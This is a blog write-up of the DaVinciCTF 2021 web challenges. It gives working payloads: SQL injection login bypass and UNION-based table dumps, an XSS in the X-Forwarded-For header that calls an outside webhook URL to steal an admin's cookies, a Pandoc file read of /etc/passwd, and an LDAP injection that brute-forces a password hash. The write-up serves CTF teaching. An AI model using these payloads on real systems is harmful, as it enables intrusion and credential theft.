InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties…

Follow publication

DaVinciCTF — Web Challenges — Writeup

FHantke
InfoSec Write-ups
Published in
10 min readMar 14, 2021

--

This weekend, I had the pleasure to play the DaVinci CTF and score first place with my team FAUST. It was great fun and a good quality CTF with some nice and creative challenges.

Since we solved all challenges and web challenges are my favorite category, I decided to create writeups for all of them. The challenges are ordered by their points, feel free to skip the ones you solved.

Obfuscation — 10 points and 318 solves

My password is my secret. You will never find it…
http://challs.dvc.tf:5555/
To validate this chall, please enter the secret code as the flag.

When we visit the website, we can see an input field to submit a secret. As we don’t know the secret, we first look into the source code of the webpage and see obfuscated Javascript.

With JSnice we can deobfuscate the code a bit and see the following.

Deobfuscated Javascript

I did not read all the code but only tried the first two lines of the testSecret function in line 37/38. The result is the flag, don’t ask me why :)

dvCTF{1t_is_n0t_4_secr3t_4nym0r3}

When trying this function in the console it returns the flag

Authentication — 10 points and 265 solves

Can you find a way to authenticate as admin?
http://challs.dvc.tf:1337/

The second challenge is an SQLi challenge. We can see a login page with the goal to log in as admin.

Of course, we could try various SQLi techniques, but here, already the first SQLi textbook exploit works: ‘ OR 1==1-- as username logs us in as admin.

On the webpage, we don’t see a flag so we open the source code of the page with ctrl-u and find the flag as a hidden field at the bottom of the page.

<p style="visibility: hidden;">dvCTF{!th4t_w4s_34sy!}</p>

Members — 66 points and 61 solves

Can you get more information about the members?http://challs.dvc.tf:1337/members

Following up on the authentication challenge, in the challenge members, we need to get more information about the members. This, again, sounds like an SQLi challenge.

When we visit the members' page, we can see a search field and all members listed.

The page shows a search field and all the members

If we leave the search query empty, we would see all members, else it filters the name.

We tried out some SQLi payloads to see that a simple UNION SELECT works and gives results. The UNION SELECT is used to combine the result of two or more SELECTs. Since x gives no result, 1,1,1 is returned as result and verifies the SQLi.

x" UNION SELECT 1,1,1; --
A simple union select as PoC

With this in mind, we looked for the database engine which is probably MySQL.

A simple union select to leak the database version

Then we listed all tables and columns and saw that there is a table called supa_secret_table with the column flag.

x" UNION SELECT COLUMN_NAME, TABLE_NAME,table_schema FROM INFORMATION_SCHEMA.COLUMNS; --
An extract of all tables and columns

A quick query later, we received the flag: dvCTF{1_h0p3_u_d1dnt_us3_sqlm4p}

x" UNION SELECT id, flag, id from supa_secret_table --
A simple union select to receive the flag

High security — 200 points and 13 solves

You can now see who tried to connect to your account. What could go wrong?http://challs.dvc.tf:65535/

When we began with this challenge, it was quite late in the evening and we were already tired. It took us a round of good sleep to solve it.

As in the previous challenge, we have again a login page. This time only, we can register a user. Instead of the path /members, this time we have /security. The security page shows an empty table with the columns IP and time.

Since the description tells us that we can see when someone tries to log into our account, we tried to log into our account with a false password. Voilà — an entry appears in the table showing my IP address (this is obviously not really mine) and a timestamp.

The table shows the IP address of people who tried to break into your account

We then tried to change our IP address with the X-Forwarded-For header and it worked. The following request resulted in the IP 1.2.3.4 showing up in our table.

The X-Forwarded-For PoC request

Next, we put an XSS payload in the header instead of the IP and the good old alert popped.

X-Forwarded-For: <script>alert(1)</script>
XSS worked without problems

Since we had XSS, we guessed that there must be an admin user we can attack with our exploit. So, we sent the same request as above to admin and the following header:

X-Forwarded-For: <script>fetch("https://webhook.site/968b79da-73da-426b-9a06-37c50cddb45a");</script>

The payload worked on our side but unfortunately, we did not receive any request from an admin.

After some thought and trying out different admin names, we came to the conclusion that this must be the correct way and there must be an admin user to exploit, we only did something wrong.

Before continuing, we messaged a dvCTF admin on Discord to ask if there is an admin user and if so if he is maybe down. The admin verified that an admin user exists and works for him.

Another payload we tried showed us that there indeed is an admin user. With the following payload, the admin user admin requests an image from our URL. The only thing is that we cannot execute Javascript and exfiltrate data.

X-Forwarded-For: <img src="https://webhook.site/968b79da-73da-426b-9a06-37c50cddb45a" />
With our URL as image source, we receive a request from the user admin

We tried various payloads and ideas but did not succeed. In the end, we decided to get some sleep and try it the next morning.

The next morning, a colleague message us that the admin uses PhantomJS, as you can see in the user-agent, and PhantomJS does not support fetch. We should have tried the good old XMLHttpRequest… Sometimes you are too tired to think about the obvious solution.

Finally, we sent a request to the admin that loads more Javascript code via the XSS in the X-Forward-For header. The loaded payload sends the cookies of the user back to us. Thus, we received the flag: dvCTF{xss_l0ve<3}

This is the final request to the admin
This is the payload that was hosted on our URL
The request we receive from admin contains the flag

Homework — 400 points and 4 solves

My computer is so slow, I made a website to compile my homework in pdf format. Is it secure?
http://challs.dvc.tf:6666/

This challenge was special. At first, it was listed for 100 points, however, nobody had solved it after one day so the admins decided to increase the points to 400.

Moreover, it was the last challenge that team EPT and my team had to solve. Whoever solves it first would become 1st place and the winner of the CTF. It was super exciting to follow and in the end, we solved it two hours before EPT. In fact, 0d12245589 solved it even before us but had too few other challenges solved to overtake us.

Anyway, back to the challenge!

When following the link, we get an ERR_UNSAFE_PORT. A bit of googling shows that port 6666 is unsafe and must manually be allowed. In Chrome, this is possible via the option —explicitly-allowed-ports=6666 , in Firefox we can add the option network.security.ports.banned.override with the value 6666 in about:config.

Afterwards, we can see a homepage with one input field to enter our homework.

The webpage has one input field

If we enter Markdown or HTML it would render it as HMTL. For instance, in the example below:

# Hello World
* foo
* bar
* bla
The result of the rendered homepage

We soon found out that it was rendered with Pandoc as it stands in the webpage source and that we could enter an external source to be contained in the rendered output. For instance, if we submit a script tag with our controlled URL, we could see the content of the URL in the response from the server. This means, the request takes place on the server and not on the client. The Pandoc documentation refers to this as the — self-containedoption.

We can see the Hello Wolrd content of our URL loaded in the response from the server

Knowing this, we tried to load local files with the file:// scheme. However, the server would always respond with an error.

This was until randomly, a colleague tried to add the type attribute type="text/plain" and got a result. Together with this attribute and the correct source, we were able to exfiltrate /etc/passwd.

<script type="text/plain" src="file:/etc/passwd"></script>

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
docker:x:1000:1000::/home/docker:/bin/sh
homework:x:1001:1001:,,,:/home/homework:/bin/bash

From here, we looked at /proc/self/environto list the environment variables.

From the environment variables, we can see some interesting directories to search for the flag. Finally, the flag was in /app/flag : dvCTF{r_markd0wn_1s_c00l}

The final request with which we received the flag

Lightweiight — 497 points and 12 solves

My company made me write a login page to authenticate against LDAP. Can you authenticate as admin?
http://challs.dvc.tf:8080/

In this challenge, we have an LDAP injection as the challenge description already gives us the hint. Thus, on the login page, we first tried some LDAP injection payload which results in some nice PHP error messages.

A closing bracket breaks the LDAP filter

We can see that the closing bracket breaks the LDAP filter, thus we can probably inject more filters.

Furthermore, when we click in Our team the webpage tells us that they have four users, three developers and one admin.

The webpage has three developers and one admin

After some tries with the given emails and other input, we came to the conclusion that we can get three outputs:

  1. An error message “No such user !” when the request was correct, but LDAP found no user with our given filter. For example, email foo@bar.de cannot be found.
  2. An error message “Invalid username/password !” when the request was correct and LDAP found the user, but our password was not correct. For example, email jdoe@dvctf.local works fine.
  3. An error message “Invalid username/password !” plus the PHP error messages when the request was broken. For example the closing bracket.

At this point, we injected a new filter into the LDAP request and brute forced the description of the users as a proof of concept.

The injected filter returns “Invalid username/password !” since the user was found with this filter but the password was incorrect

In the example below, I use the Burp Intruder to try all possibilities for description, one by one. You can see, that I previously found the description sysa and the request shows me that the next letter is d. In the end, the description will be sysadmin.

After the brute force attempt worked fine for description, we tried the same with userPassword as it is the standard password key for LDAP. With * the request worked fine, however, no character we tried resulted in “Invalid username/password !” but only “No such user !”.

Searching on the internet for brute force methods against LDAP’s userPassword led us to another writeup with exactly the same problem:

https://0xukn.fr/posts/writeupecw2018admyssion/

The userPassword is an octet string and thus cannot be brute-forced the same way as a normal string. However, we can use other operators on the userPassword, for instance, octetStringOrderingMatch. To do so, we only need to add the OID of octetStringOrderingMatch 2.5.13.18 behind userPassword and can brute-force byte values, like in the payload below.

email=mkiloa@dvctf.local)(userPassword:2.5.13.18:=\7b\4d\44\35\7d\41\<add the next byte here>))%00&password=*

For a more detailed description, you can read the mentioned writeup, they do it way better then I do it :)

Finally, after bruteforcing the password hash, we have the base64 of the MD5 hash {MD5}Abr2pWImreR7Gj9jpet1PA== which results in 01baf6a56226ade47b1a3f63a5eb753c.

Submitting this hash to https://crackstation.net/, we receive the password Chicken123.

Now we can log in as the mkiloa@dvctf.local see the flag dvCTF{th4nk_y0u_mR_UKN}

Summary

These were all web challenges, I hope you enjoyed my writeups as much as I enjoyed the CTF. It was a great CTF with a good difficulty curve from easy to medium.

I can only recommend everyone to try some of their challenges when the challenge code is online as they are good quality and perfect for beginners. We will definitely include them in our CTF workshops for beginners.

Now, have a great day, maybe read my other writeup from this CTF or more of my articles.

In the end, I can only say thanks to the team behind DaVinciCTF and thanks to my team colleagues it was a lot of fun to play.

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Written by FHantke

Computer Science Student. Interested in IT security and forensics. https://fhantke.de/

No responses yet

Write a response